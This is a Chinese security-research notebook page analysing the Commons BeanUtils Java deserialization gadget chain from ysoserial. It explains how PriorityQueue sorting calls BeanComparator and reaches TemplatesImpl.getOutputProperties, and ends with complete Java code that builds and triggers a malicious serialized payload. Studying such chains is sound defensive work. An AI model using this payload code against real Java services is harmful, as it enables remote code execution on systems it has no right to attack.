🖌️
Functfan的格物致知
  • 写在前面
  • java技术
    • J2EE 全面简介
  • java安全
    • 反序列化漏洞
      • 序列化/反~
      • Ysoserial
        • Java反序列化之Vaadin1
        • Java反序列化之Groovy1
        • Java反序列化之Jdk7u21
        • Java反序列化之Commons beanUtils
        • Java反序列化之Commons-Collections
          • CommonsCollections1
          • CommonsCollections2
          • CommonsCollections1
          • CommonsCollections2
          • CommonsCollections3
          • CommonsCollections4
          • CommonsCollections5
          • CommonsCollections6
          • CommonsCollections7
      • Marshalsec
    • XXE漏洞
      • XXE爱之初印象
      • XXE漏洞写法及防御
      • XXExploiter工具
  • web安全
    • 一句话木马
  • 渗透测试
    • 网络资产收集
    • 端口服务探测
    • 边界突破
    • 内网穿透
    • 容器与K8S安全测试
  • 漏洞挖掘
    • web类框架研究报告
      • Xstream经验
      • weblogic漏洞研究经验笔记
      • WebLogic安全研究报告
    • 漏洞挖掘入门
      • 小白入门
      • 源代码审计方法
        • Java类编译与反编译基础
        • IDEA使用技巧
        • IDEA Java程序调试
      • Fuzzing技术
        • 方法论
          • fuzzing的四个技能
        • 工具集
          • tmnt-Web应用漏洞fuzzer
          • wfuzz-web app fuzzer
          • AFL-基于变异的fuzz工具
      • 物联网漏洞挖掘技术
        • 物联网设备固件模拟分析环境*(亲测下载好慢,不建议使用该教程)
        • 智能设备漏洞挖掘之固件提取
        • pwndbg调试工具使用教程
    • 漏洞情报监测
    • 漏洞安全检测工具
      • 容器安全检测脚本总结
      • WebLogic漏洞检测小工具
    • 漏洞复现
      • 操作系统
        • windows
        • Linux
          • 脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析
          • Dirty CoW脏牛内核提权漏洞(CVE-2016-5195)
      • 数据库
      • WEB服务组件
        • CVE-2020-2883
        • F5 BIG-IP远程代码执行漏洞(CVE-2020-5902)
        • Apache Solr 远程命令执行漏洞(CVE-2019-0193)
      • 云计算安全
        • CVE-2020-15257-容器逃逸-containerd
      • 物联网安全
        • TP-Link SR20 本地网络远程代码执行漏洞
  • CTF比赛
    • BUUCTF-练习场web
    • xctf-攻防世界新手练习区web
    • Exploit利器——Pwntools
  • 新技术研究
    • 区块链
    • 云原生安全
      • 虚拟化hypervisor简介
      • Docker容器基础
        • 云原生攻防研究:容器基础
          • Linux内核基础
          • Docker容器基础
          • 理解容器进程
          • 组件组成:剖析 Docker 组件作用及其底层工作原理
          • Docker镜像的内部结构(四)
          • docker之namespace,cgroup与unionFS
          • Linux内核安全模块之AppArmor
          • Linux沙箱之seccomp
          • Linux权限管理之Capabilities
        • 云原生攻防研究:Docker安全性与攻击面分析
        • 云原生攻防研究:容器逃逸技术概览
        • 云原生攻防研究:针对容器的渗透测试方法
        • 云原生攻防研究:漏洞缓解技术
      • Kubernetes容器编排基础
        • k8s基本概念
        • 云原生攻防研究:Kubernetes安全分析
        • 云原生攻防研究:Kubernetes攻击矩阵
    • 联邦安全
    • 云边协同
    • 安全多方计算
由 GitBook 提供支持
在本页
  • 分析及运行环境
  • TemplatesImpl
  • BeanComparator
  • compare方法
  • 部分利用链构造与调试
  • priorityQueue
  • readObject方法
  • siftDownUsingComparator方法
  • 利用链构造与调试
  • 完整代码
  • 参考文献
  1. java安全
  2. 反序列化漏洞
  3. Ysoserial

Java反序列化之Commons beanUtils

priorityQueue+BeanComparator+Java泛型的类型擦除+TemplatesImpl

上一页Java反序列化之Jdk7u21下一页Java反序列化之Commons-Collections

最后更新于4年前

以下内容引自「大专栏」发表于 2020-03-18的「」,具体内容已经是精简后的版本:

分析及运行环境

  commons-beanutils:1.9.2,java 1.7

TemplatesImpl

  见,目的是调用getOutputProperties方法。

BeanComparator

  BeanComparator实现了Comparator接口,可以实现javaBean的比较。

  成员变量 String:property指定了用于对比的字段。

compare方法

  当对javaBean进行比较时,会自动调用compare方法 ,该方法中会获得property指定的属性。

  例如javaBean中含有成员变量String:name和int:age,若在BeanComparator中指定property为age,则将按照age的取值作为javaBean比较时的依据。

  于是可知,若被比较的javaBean为恶意TemplatesImpl,且设置BeanComparator的成员变量property为outputProperties,在调用栈中会存在TemplatesImpl.getOutputProperties可以触发恶意代码。

部分利用链构造与调试

  接下来的构造思路,就是找到反序列化时自动调用compare方法的地方

priorityQueue

  PriorityQueue是一个基于优先级的队列。优先级队列的元素默认按照其自然顺序进行排序。如果构造构造队列时提供的Comparator,则根据Comparator.compare方法进行排序。

readObject方法

  该方法在依次对元素进行反序列化后,调用heapify()进行排序。若使用了比较器,则调用siftDownUsingComparator函数进行排序。

siftDownUsingComparator方法

  该方法调用Comparator.compare,对元素进行比较和排序。在构造队列时,如果使用BeanComparator,则将会调用到BeanComparator.compare。

利用链构造与调试

  在上一个调用链的基础上,直接构造使用了BeanComparator的priorityQueue。并将恶意priorityQueue添加到队列中。

  通过运行结果可以看到异常,不能执行到序列化操作。为了避免这个异常,我们需要现在队列中添加其他类型的元素,再通过反射修改为恶意TemplatesImpl。

  构造一个BeanComparator,设置成员变量property的取值为A, 在priorityQueue中添加的元素要求:拥有名称为A的成员变量,且提供了访问A的方法(如getA)。

  ysoserial使用的中转为BigInteger,该类含有成员变量lowestSetBit,并提供了getLowestSetBit方法。因此设置BeanComparator的property属性为“lowestSetBit”,并向queue中添加BigInteger类型的元素,添加属性时就会调用BeanComparator.compare,按照lowestSetBit对BigInteger对象进行排序。

  在较高版本的jdk中,BigInteger的成员变量lowestSetBit即将废弃。为了更好地理解整个利用链,这里换一个中介,直接使用BeanComparator作为中介。

  BeanComparator含有成员变量property,且提供了公共方法setProperty和getProperty访问该变量。

  构造priorityQueue时,使用BeanComparator为比较器并设置property为“property”。在队列中添加的元素为BeanComparator类对象。然后通过反射修改priorityQueue的成员变量queue数组为存放恶意priorityQueue的数组。重新修改比较器的property取值为“outputProperties”。这样在反序列化后对元素排序时,将会调用TemplatesImpl.getOutputProperties,触发恶意代码。

完整代码

TemplatesImpl maliciousTemplatesImpl = (TemplatesImpl) Generator.getTemplateImpl();
BeanComparator comparator = new BeanComparator("property");
//comparator.compare(maliciousTemplatesImpl, maliciousTemplatesImpl);
//使用BeanComparator为中介,ysoserial中使用的是BigInteger
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
priorityQueue.add(new BeanComparator("test"));
priorityQueue.add(new BeanComparator("test"));
	
//重修修改BeanComparator的property属性
comparator.setProperty("outputProperties");

Object [] innerQueue = {maliciousTemplatesImpl,maliciousTemplatesImpl};
Class PriorityQueueClass = Class.forName("java.util.PriorityQueue");
Field queue = PriorityQueueClass.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue, innerQueue);

String filename = "/beanUtils_payload.ser";
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
oos.writeObject(priorityQueue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();

参考文献

  构造含有恶意字节码的TemplatesImpl的代码见

Java 反序列化之 CommonsBeanUtils 分析:

Java泛型的类型擦除:

ComparatorChain、BeanComparator用法示例(枚举类型排序转):

java反序列化工具ysoserial分析 – angelwhu:

JDK7u21分析
https://blog.knownsec.com/2016/03/java-deserialization-commonsbeanutils-pop-chains-analysis/
https://www.cnblogs.com/joeblackzqq/p/10813143.html
https://www.cnblogs.com/zhangmingcheng/p/5737593.html
http://www.vuln.cn/6295
ysoserial分析系列:一步步写Commons beanUtils利用
ysoserial分析系列:一步步写Commons beanUtils利用
JDK7u21分析